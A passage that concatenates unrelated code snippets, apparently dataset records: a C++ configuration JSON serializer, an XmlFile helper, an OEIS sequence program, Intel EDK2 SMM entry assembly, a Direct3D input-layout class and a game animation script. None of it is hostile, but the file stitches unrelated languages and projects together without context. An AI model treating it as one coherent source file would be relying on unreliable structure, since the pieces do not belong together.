else if (m_itemType == JsonItem ||
m_itemType == NumberItem ||
m_itemType == DoubleItem)
{
convert << "\"value\" : " << m_value << ", ";
convert << "\"default\" : " << m_default << " }";
}
if (full)
{
if (!m_order.empty())
{
convert << "\"order\" : \"" << m_order << "\", ";
}
if (!m_minimum.empty())
{
convert << "\"minimum\" : \"" << m_minimum << "\", ";
}
if (!m_maximum.empty())
{
convert << "\"maximum\" : \"" << m_maximum << "\", ";
}
if (!m_readonly.empty())
{
convert << "\"readonly\" : \"" << m_readonly << "\", ";
}
if (!m_file.empty())
{
convert << "\"file\" : \"" << m_file << "\", ";
}
if (m_options.size() > 0)
{
convert << "\"options\" : [ ";
for (int i = 0; i < m_options.size(); i++)
{
if (i > 0)
convert << ",";
convert << "\"" << m_options[i] << "\"";
}
convert << "],";
}
}
return convert.str();
}
/**
* Return only "default" item values
*/
string ConfigCategory::CategoryItem::defaultToJSON() const
{
ostringstream convert;
convert << "\"" << m_name << "\" : { ";
convert << "\"description\" : \"" << m_description << "\", ";
convert << "\"type\" : \"" << m_type << "\", ";
if (!m_order.empty())
{
convert << "\"order\" : \"" << m_order << "\", ";
}
if (!m_minimum.empty())
{
convert << "\"minimum\" : \"" << m_minimum << "\", ";
}
if (!m_maximum.empty())
{
convert << "\"maximum\" : \"" << m_maximum << "\", ";
}
if (!m_readonly.empty())
{
convert << "\"readonly\" : \"" << m_readonly << "\", ";
}
if (!m_file.empty())
{
convert << "\"file\" : \"" << m_file << "\", ";
}
if (m_options.size() > 0)
{
convert << "\"options\" : [ ";
for (int i = 0; i < m_options.size(); i++)
{
if (i > 0)
convert << ",";
convert << "\"" << m_options[i] << "\"";
}
convert << "],";
}
if (m_itemType == StringItem ||
m_itemType == EnumerationItem ||
m_itemType == BoolItem)
{
convert << "\"default\" : \"" << m_default << "\" }";
}
/**
* NOTE:
* These data types must be all escaped.
* "default" items in the DefaultConfigCategory class are sent to
* ConfigurationManager interface which requires string values only:
*
* examples:
* we must use "100" not 100
* and for JSON
* "{\"pipeline\":[\"scale\"]}" not {"pipeline":["scale"]}
*/
else if (m_itemType == JsonItem ||
m_itemType == NumberItem ||
m_itemType == DoubleItem)
{
convert << "\"default\" : \"" << escape(m_default) << "\" }";
}
return convert.str();
}
// DefaultConfigCategory constructor
DefaultConfigCategory::DefaultConfigCategory(const string& name, const string& json) :
ConfigCategory::ConfigCategory(name, json)
{
}
/**
* Destructor for the default configuration category. Simply call the base class
* destructor.
*/
DefaultConfigCategory::~DefaultConfigCategory()
{
}
/**
* Return JSON string of all category components
* of a DefaultConfigCategory class
*/
string DefaultConfigCategory::toJSON() const
{
ostringstream convert;
convert << "{ ";
convert << "\"key\" : \"" << m_name << "\", ";
convert << "\"description\" : \"" << m_description << "\", \"value\" : ";
// Add items
convert << DefaultConfigCategory::itemsToJSON();
convert << " }";
return convert.str();
}
/**
* Return DefaultConfigCategory "default" items only
*/
string DefaultConfigCategory::itemsToJSON() const
{
ostringstream convert;
convert << "{";
for (auto it = m_items.cbegin(); it != m_items.cend(); it++)
{
convert << (*it)->defaultToJSON();
if (it + 1 != m_items.cend() )
{
convert << ", ";
}
}
convert << "}";
return convert.str();
}
std::string ConfigCategory::CategoryItem::escape(const std::string& subject) const
{
size_t pos = 0;
string replace("\\\"");
string escaped = subject;
while ((pos = escaped.find("\"", pos)) != std::string::npos)
{
escaped.replace(pos, 1, replace);
pos += replace.length();
}
return escaped;
}
/**
* Return JSON string of a category item
* @param itemName The given item within current category
* @return The JSON string version of itemName
* If not found {} is returned
*/
string ConfigCategory::itemToJSON(const string& itemName) const
{
ostringstream convert;
convert << "{";
for (auto it = m_items.cbegin(); it != m_items.cend(); it++)
{
if ((*it)->m_name.compare(itemName) == 0)
{
convert << (*it)->toJSON();
}
}
convert << "}";
return convert.str();
}
/**
* Return unescaped version of a JSON string
*
* Routine removes \" inside the string
* and leading and trailing "
*
* @param subject Input string
* @return Unescaped string
*/
std::string ConfigCategory::CategoryItem::unescape(const std::string& subject) const
{
size_t pos = 0;
string replace("");
string json = subject;
// Replace '\"' with '"'
while ((pos = json.find("\\\"", pos)) != std::string::npos)
{
json.replace(pos, 1, "");
}
// Remove leading '"'
if (json[0] == '\"')
{
json.erase(0, 1);
}
// Remove trainling '"'
if (json[json.length() - 1] == '\"')
{
json.erase(json.length() - 1, 1);
}
return json;
}
/**
* Configuration Category constructor
*
* @param name The name of the configuration category
* @param json JSON content of the configuration category
*/
ConfigCategoryChange::ConfigCategoryChange(const string& json)
{
Document doc;
doc.Parse(json.c_str());
if (doc.HasParseError())
{
Logger::getLogger()->error("Configuration parse error in category change %s: %s at %d",
json.c_str(), GetParseError_En(doc.GetParseError()),
(unsigned)doc.GetErrorOffset());
throw new ConfigMalformed();
}
if (!doc.HasMember("category"))
{
Logger::getLogger()->error("Configuration change is missing a category element '%s'",
json.c_str());
throw new ConfigMalformed();
}
if (!doc.HasMember("items"))
{
Logger::getLogger()->error("Configuration change is missing an items element '%s'",
json.c_str());
throw new ConfigMalformed();
}
m_name = doc["category"].GetString();
const Value& items = doc["items"];
for (Value::ConstMemberIterator itr = items.MemberBegin(); itr != items.MemberEnd(); ++itr)
{
try
{
m_items.push_back(new CategoryItem(itr->name.GetString(), itr->value));
}
catch (exception* e)
{
Logger::getLogger()->error("Configuration parse error in category %s item '%s', %s: %s",
m_name,
itr->name.GetString(),
json.c_str(),
e->what());
delete e;
throw ConfigMalformed();
}
catch (...)
{
throw;
}
}
}
|
#include "XmlFile.h"
string XmlFile::getFileName() {
return FILE_NAME;
}
bool XmlFile::checkIfFileExists() {
bool fileExists = xml.Load(getFileName());
return fileExists;
}
|
; A027773: (n+1)*C(n+1,13).
; 13,196,1575,8960,40460,154224,515508,1550400,4273290,10943240,26313518,59907456,130007500,270415600,541574100,1048380480,1968053535,3592795500,6393845325,11115955200,18914492520,31551447840,51671823000,83188425600,131811290100,205768111248,316774592316,481328915200,722423130760,1071786713760,1572804471224,2284283163008,3285279407025,4681246616340,6611811876915,9260555966208,12867242404436,17743025930000,24289268654700,33020705099200,44593827222910,59841509517720,79815064502250,105835113014400,139552874262900,183023730612240,238795204745580,310011805656000,400539558627075,515113437056700,659511365057433,840758963982336,1067369778493200,1349626344010560,1699908153272560,2133073351623424,2666901845346408,3322608452122400,4125435765307640,5105337552483840,6297764772496848,7744567683402816,9495029036430000,11607045018924800,14148472433635925,17198662594653540,20850204594645055,25210902967264000,30406017347099100,36580794532455600,43903326399666660,52567770418470720,62797973094155250,74851540532533800,89024404508288550,105655936936733568,125134670525697756,147904688641201200,174472753082305860,205416244552599360,241391997165140199,283146115352605708,331524869104471525,387486771549373440,452115951575899640,526636943473006688,612431025507705096,711054249979920000,824257318641495900,954007469478932400,1102512553780173620,1272247496179063040,1465983345043287000,1686819136191128800,1938216809539565800,2224039435953713280,2548593030340091385,2916672246960664500,3333610274100403275,3805333267659974400
mov $1,$0
add $0,13
bin $0,$1
add $1,13
mul $0,$1
|
;------------------------------------------------------------------------------ ;
; Copyright (c) 2016, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; SmiEntry.nasm
;
; Abstract:
;
; Code template of the SMI handler for a particular processor
;
;-------------------------------------------------------------------------------
%define MSR_IA32_MISC_ENABLE 0x1A0
%define MSR_EFER 0xc0000080
%define MSR_EFER_XD 0x800
;
; Constants relating to TXT_PROCESSOR_SMM_DESCRIPTOR
;
%define DSC_OFFSET 0xfb00
%define DSC_GDTPTR 0x48
%define DSC_GDTSIZ 0x50
%define DSC_CS 0x14
%define DSC_DS 0x16
%define DSC_SS 0x18
%define DSC_OTHERSEG 0x1a
%define PROTECT_MODE_CS 0x8
%define PROTECT_MODE_DS 0x20
%define TSS_SEGMENT 0x40
extern ASM_PFX(SmiRendezvous)
extern ASM_PFX(FeaturePcdGet (PcdCpuSmmStackGuard))
extern ASM_PFX(CpuSmmDebugEntry)
extern ASM_PFX(CpuSmmDebugExit)
global ASM_PFX(gcStmSmiHandlerTemplate)
global ASM_PFX(gcStmSmiHandlerSize)
global ASM_PFX(gcStmSmiHandlerOffset)
global ASM_PFX(gStmSmiCr3)
global ASM_PFX(gStmSmiStack)
global ASM_PFX(gStmSmbase)
global ASM_PFX(gStmXdSupported)
extern ASM_PFX(gStmSmiHandlerIdtr)
SECTION .text
BITS 16
ASM_PFX(gcStmSmiHandlerTemplate):
_StmSmiEntryPoint:
mov bx, _StmGdtDesc - _StmSmiEntryPoint + 0x8000
mov ax,[cs:DSC_OFFSET + DSC_GDTSIZ]
dec ax
mov [cs:bx], ax
mov eax, [cs:DSC_OFFSET + DSC_GDTPTR]
mov [cs:bx + 2], eax
mov ebp, eax ; ebp = GDT base
o32 lgdt [cs:bx] ; lgdt fword ptr cs:[bx]
mov ax, PROTECT_MODE_CS
mov [cs:bx-0x2],ax
DB 0x66, 0xbf ; mov edi, SMBASE
ASM_PFX(gStmSmbase): DD 0
lea eax, [edi + (@32bit - _StmSmiEntryPoint) + 0x8000]
mov [cs:bx-0x6],eax
mov ebx, cr0
and ebx, 0x9ffafff3
or ebx, 0x23
mov cr0, ebx
jmp dword 0x0:0x0
_StmGdtDesc:
DW 0
DD 0
BITS 32
@32bit:
mov ax, PROTECT_MODE_DS
o16 mov ds, ax
o16 mov es, ax
o16 mov fs, ax
o16 mov gs, ax
o16 mov ss, ax
DB 0xbc ; mov esp, imm32
ASM_PFX(gStmSmiStack): DD 0
mov eax, ASM_PFX(gStmSmiHandlerIdtr)
lidt [eax]
jmp ProtFlatMode
ProtFlatMode:
DB 0xb8 ; mov eax, imm32
ASM_PFX(gStmSmiCr3): DD 0
mov cr3, eax
;
; Need to test for CR4 specific bit support
;
mov eax, 1
cpuid ; use CPUID to determine if specific CR4 bits are supported
xor eax, eax ; Clear EAX
test edx, BIT2 ; Check for DE capabilities
jz .0
or eax, BIT3
.0:
test edx, BIT6 ; Check for PAE capabilities
jz .1
or eax, BIT5
.1:
test edx, BIT7 ; Check for MCE capabilities
jz .2
or eax, BIT6
.2:
test edx, BIT24 ; Check for FXSR capabilities
jz .3
or eax, BIT9
.3:
test edx, BIT25 ; Check for SSE capabilities
jz .4
or eax, BIT10
.4: ; as cr4.PGE is not set here, refresh cr3
mov cr4, eax ; in PreModifyMtrrs() to flush TLB.
cmp byte [dword ASM_PFX(FeaturePcdGet (PcdCpuSmmStackGuard))], 0
jz .6
; Load TSS
mov byte [ebp + TSS_SEGMENT + 5], 0x89 ; clear busy flag
mov eax, TSS_SEGMENT
ltr ax
.6:
; enable NXE if supported
DB 0b0h ; mov al, imm8
ASM_PFX(gStmXdSupported): DB 1
cmp al, 0
jz @SkipXd
;
; Check XD disable bit
;
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
push edx ; save MSR_IA32_MISC_ENABLE[63-32]
test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34]
jz .5
and dx, 0xFFFB ; clear XD Disable bit if it is set
wrmsr
.5:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD ; enable NXE
wrmsr
jmp @XdDone
@SkipXd:
sub esp, 4
@XdDone:
mov ebx, cr0
or ebx, 0x80010023 ; enable paging + WP + NE + MP + PE
mov cr0, ebx
lea ebx, [edi + DSC_OFFSET]
mov ax, [ebx + DSC_DS]
mov ds, eax
mov ax, [ebx + DSC_OTHERSEG]
mov es, eax
mov fs, eax
mov gs, eax
mov ax, [ebx + DSC_SS]
mov ss, eax
CommonHandler:
mov ebx, [esp + 4] ; CPU Index
push ebx
mov eax, ASM_PFX(CpuSmmDebugEntry)
call eax
add esp, 4
push ebx
mov eax, ASM_PFX(SmiRendezvous)
call eax
add esp, 4
push ebx
mov eax, ASM_PFX(CpuSmmDebugExit)
call eax
add esp, 4
mov eax, ASM_PFX(gStmXdSupported)
mov al, [eax]
cmp al, 0
jz .7
pop edx ; get saved MSR_IA32_MISC_ENABLE[63-32]
test edx, BIT2
jz .7
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
or dx, BIT2 ; set XD Disable bit if it was set before entering into SMM
wrmsr
.7:
rsm
_StmSmiHandler:
;
; Check XD disable bit
;
xor esi, esi
mov eax, ASM_PFX(gStmXdSupported)
mov al, [eax]
cmp al, 0
jz @StmXdDone
mov ecx, MSR_IA32_MISC_ENABLE
rdmsr
mov esi, edx ; save MSR_IA32_MISC_ENABLE[63-32]
test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34]
jz .5
and dx, 0xFFFB ; clear XD Disable bit if it is set
wrmsr
.5:
mov ecx, MSR_EFER
rdmsr
or ax, MSR_EFER_XD ; enable NXE
wrmsr
@StmXdDone:
push esi
; below step is needed, because STM does not run above code.
; we have to run below code to set IDT/CR0/CR4
mov eax, ASM_PFX(gStmSmiHandlerIdtr)
lidt [eax]
mov eax, cr0
or eax, 0x80010023 ; enable paging + WP + NE + MP + PE
mov cr0, eax
;
; Need to test for CR4 specific bit support
;
mov eax, 1
cpuid ; use CPUID to determine if specific CR4 bits are supported
mov eax, cr4 ; init EAX
test edx, BIT2 ; Check for DE capabilities
jz .0
or eax, BIT3
.0:
test edx, BIT6 ; Check for PAE capabilities
jz .1
or eax, BIT5
.1:
test edx, BIT7 ; Check for MCE capabilities
jz .2
or eax, BIT6
.2:
test edx, BIT24 ; Check for FXSR capabilities
jz .3
or eax, BIT9
.3:
test edx, BIT25 ; Check for SSE capabilities
jz .4
or eax, BIT10
.4: ; as cr4.PGE is not set here, refresh cr3
mov cr4, eax ; in PreModifyMtrrs() to flush TLB.
; STM init finish
jmp CommonHandler
ASM_PFX(gcStmSmiHandlerSize) : DW $ - _StmSmiEntryPoint
ASM_PFX(gcStmSmiHandlerOffset) : DW _StmSmiHandler - _StmSmiEntryPoint
|
#include "InputLayout.h"
#include "GraphicsThrowMacros.h"
#include "BindableCodex.h"
#include "Vertex.h"
#include "VertexShader.h"
namespace Bind
{
InputLayout::InputLayout(Graphics& gfx,
Dvtx::VertexLayout layout_in,
const VertexShader& vs)
:
layout(std::move(layout_in))
{
INFOMAN(gfx);
const auto d3dLayout = layout.GetD3DLayout();
const auto pBytecode = vs.GetBytecode();
GFX_THROW_INFO(GetDevice(gfx)->CreateInputLayout(
d3dLayout.data(), (UINT)d3dLayout.size(),
pBytecode->GetBufferPointer(),
pBytecode->GetBufferSize(),
&pInputLayout
));
}
const Dvtx::VertexLayout InputLayout::GetLayout() const noexcept
{
return layout;
}
void InputLayout::Bind(Graphics& gfx) noxnd
{
INFOMAN_NOHR(gfx);
GFX_THROW_INFO_ONLY(GetContext(gfx)->IASetInputLayout(pInputLayout.Get()));
}
std::shared_ptr<InputLayout> InputLayout::Resolve(Graphics& gfx,
const Dvtx::VertexLayout& layout, const VertexShader& vs)
{
return Codex::Resolve<InputLayout>(gfx, layout, vs);
}
std::string InputLayout::GenerateUID(const Dvtx::VertexLayout& layout, const VertexShader& vs)
{
using namespace std::string_literals;
return typeid(InputLayout).name() + "#"s + layout.GetCode() + "#"s + vs.GetUID();
}
std::string InputLayout::GetUID() const noexcept
{
using namespace std::string_literals;
return typeid(InputLayout).name() + "#"s + layout.GetCode() + "#"s + vertexShaderUID;
}
}
|
; ---------------------------------------------------------------------------
; Animation script - Roller enemy
; ---------------------------------------------------------------------------
dc.w byte_E190-Ani_obj43
dc.w byte_E196-Ani_obj43
dc.w byte_E19C-Ani_obj43
byte_E190: dc.b $F, 2, 1, 0, $FE, 1
byte_E196: dc.b $F, 1, 2, $FD, 2, 0
byte_E19C: dc.b 3, 3, 4, 2, $FF
even |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.